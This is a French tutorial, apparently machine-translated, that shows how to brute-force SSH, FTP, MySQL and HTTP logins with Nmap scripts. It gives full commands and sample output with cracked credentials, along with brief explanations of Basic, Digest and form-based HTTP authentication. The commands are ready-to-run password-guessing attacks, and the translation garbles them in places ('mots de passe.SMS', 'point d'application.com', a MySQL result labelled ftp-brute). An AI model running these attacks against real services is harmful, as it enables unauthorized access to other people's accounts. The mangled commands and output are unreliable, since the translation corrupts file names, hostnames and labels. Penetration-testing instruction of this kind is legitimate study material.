[email protected]:~$ sudo apt install nmap -y
[email protégé] :~$ cd /usr/share/nmap/scripts/
[email protected] :~$ ls *brute*
Dans ce tutoriel, nous allons explorer comment nous pouvons utiliser Nmap pour une attaque par force brute.
SSH Brute-Force
SSH est un protocole d'administration à distance sécurisé et prend en charge l'authentification par openssl et mot de passe. Pour forcer l'authentification par mot de passe SSH par force brute, nous pouvons utiliser « ssh-brute.nse" Script Nmap.
ubuntu@ubuntu:/usr/share/nmap/script/$ ls *ssh*brute*ssh-brute.nse
Passer la liste des noms d'utilisateur et des mots de passe comme argument à Nmap.
[email protégé]:~$ nmap --script ssh-brute -p22 192.168.43.181--script-args userdb=utilisateurs.txt, passdb=mots de passe.SMS
Démarrage de Nmap 7.70 ( https://nmap.org ) au 2020-02-08 17:09 PKT
Rapport d'analyse Nmap pour 192.168.43.181
L'hôte est actif (0.latence 00033s).
SERVICE D'ÉTAT DU PORT
22/tcp ouvert ssh
| ssh-brute :
| Comptes:
| admin:p4ssw0rd - Identifiants valides
|_ Statistiques : 99 estimations effectuées en 60 secondes, tps moyen : 1.7
Nmap fait : 1 adresse IP (1 host up) scannée en 60.17 secondes
FTP Brute-Force
FTP est un protocole de transfert de fichiers qui prend en charge l'authentification par mot de passe. Pour forcer le FTP, nous utiliserons « ftp-brute.nse" Script Nmap.
ubuntu@ubuntu:/usr/share/nmap/script/$ ls *ftp*brute*ftp-brute.nse
Passer la liste des noms d'utilisateur et des mots de passe comme argument à Nmap.
[email protégé]:~$ nmap --script ftp-brute -p21 192.168.43.181 --script-argsuserdb=utilisateurs.txt, passdb=mots de passe.SMS
Démarrage de Nmap 7.70 ( https://nmap.org ) au 2020-02-08 16:51 PKT
Rapport d'analyse Nmap pour 192.168.43.181
L'hôte est actif (0.00021s de latence).
SERVICE D'ÉTAT DU PORT
21/tcp ouvert ftp
| ftp-brute :
| Comptes:
| admin:p4ssw0rd - Identifiants valides
|_ Statistiques : 99 estimations effectuées en 20 secondes, moyenne des tps : 5.0
Nmap fait : 1 adresse IP (1 host up) scannée dans 19.50 secondes
MYSQL Brute-Force
Parfois, MySQL est laissé ouvert aux connexions extérieures et permet à n'importe qui de s'y connecter. Son mot de passe peut être craqué en utilisant Nmap avec le script "mysql-brute".
[email protégé]:~$ sudo nmap --script mysql-brute -p3306 192.168.43.181--script-args userdb=utilisateurs.txt, passdb=mots de passe.SMS
Démarrage de Nmap 7.70 ( https://nmap.org ) au 2020-02-08 16:51 PKT
Rapport d'analyse Nmap pour 192.168.43.181
L'hôte est actif (0.00021s de latence).
SERVICE D'ÉTAT DU PORT
3306/tcp ouvrir mysql
| ftp-brute :
| Comptes:
| admin:p4ssw0rd - Identifiants valides
|_ Statistiques : 99 estimations effectuées en 20 secondes, moyenne des tps : 5.0
Nmap fait : 1 adresse IP (1 host up) scannée dans 19.40 secondes
HTTP Brute-Force
HTTP utilise trois types d'authentification pour authentifier les utilisateurs auprès des serveurs Web. Ces méthodologies sont utilisées dans les routeurs, les modems et les applications Web avancées pour échanger des noms d'utilisateur et des mots de passe. Ces types sont :
Authentification de base
Dans le protocole d'authentification de base HTTP, le navigateur code le nom d'utilisateur et le mot de passe avec base64 et l'envoie sous l'en-tête « Authorization ». Vous pouvez le voir dans la capture d'écran suivante.
Autorisation : de base YWRtaW46YWRtaW4=
Vous pouvez décoder en base64 cette chaîne pour voir le nom d'utilisateur et le mot de passe
[email protected]:~$ echo YWRtaW46YWRtaW4= | base64 -dadministrateur:admin
L'authentification de base HTTP n'est pas sécurisée car elle envoie à la fois le nom d'utilisateur et le mot de passe en texte brut. Tout attaquant Man-in-the-Middle peut facilement intercepter le trafic et décoder la chaîne pour obtenir le mot de passe.
Authentification Digest
L'authentification HTTP Digest utilise des techniques de hachage pour crypter le nom d'utilisateur et le mot de passe avant de l'envoyer au serveur.
Hash1 = MD5(nom d'utilisateur : domaine : mot de passe)Hash2=MD5(méthode : digestURI)
réponse=MD5(Hash1 : nonce : nonceCount : cnonce : qop : Hash2)
Vous pouvez voir ces valeurs sous l'en-tête « Autorisation ».
L'authentification basée sur Digest est sécurisée car le mot de passe n'est pas envoyé en texte brut. Si un attaquant Man-in-the-Middle intercepte le trafic, il ne pourra pas obtenir le mot de passe en clair.
Authentification basée sur un formulaire
Les authentifications Basic et Digest prennent uniquement en charge le transfert du nom d'utilisateur et du mot de passe tandis que l'authentification basée sur le formulaire peut être personnalisée en fonction des besoins de l'utilisateur. Vous pouvez créer votre propre page Web en HTML ou JavaScript pour appliquer vos propres techniques d'encodage et de transfert.
Généralement, les données de l'authentification basée sur le formulaire sont envoyées en texte brut. Pour les problèmes de sécurité, les HTTP doivent être appliqués pour empêcher les attaques Man-in-the-Middle.
Nous pouvons forcer brutalement tous les types d'authentification HTTP en utilisant Nmap. Nous utiliserons le script "http-brute" à cette fin.
ubuntu@ubuntu:/usr/share/nmap/script/$ ls *http*brute*http-brute.nse
Pour tester ce script Nmap, nous allons résoudre un défi de force brute hébergé publiquement par l'académie pentester à cette URL http://pentesteracademylab.point d'application.com/lab/webapp/basicauth.
Nous devons tout fournir, y compris le nom d'hôte, l'URI, la méthode de requête et les dictionnaires séparément en tant qu'argument de script.
[email protected]:~$ sudo nmap -p80 --script http-brute pentesteracademylab.point d'application.com--script-args http-brute.hostname=pentesteracademylab.point d'application.com,
http-brute.path=/lab/webapp/basicauth, userdb=users.txt, passdb=mots de passe.SMS,
http-brute.méthode=POST
Démarrage de Nmap 7.70 ( https://nmap.org ) au 2020-02-08 21:37 PKT
Rapport d'analyse Nmap pour pentesteracademylab.point d'application.com (216.58.210.84)
L'hôte est actif (0.20s de latence).
Autres adresses pour pentesteracademylab.point d'application.com (non scanné): 2a00:1450:4018:803::2014
enregistrement rDNS pour 216.58.210.84 : mct01s06-en-f84.1e100.rapporter
SERVICE D'ÉTAT DU PORT
80/tcp ouvert http
| http-brute :
| Comptes:
| admin:aadd - Identifiants valides
|_ Statistiques : 165 estimations effectuées en 29 secondes, tps moyen : 5.3
Nmap fait : 1 adresse IP (1 host up) scannée en 31.22 secondes
Conclusion
Nmap peut être utilisé pour faire beaucoup de choses malgré une simple analyse de port. Il peut remplacer Metasploit, Hydra, Medusa et de nombreux autres outils spécialement conçus pour le force brute en ligne. Nmap a des scripts intégrés simples et faciles à utiliser qui forcent presque tous les services, y compris HTTP, TELNEL, SSH, MySQL, Samba et autres.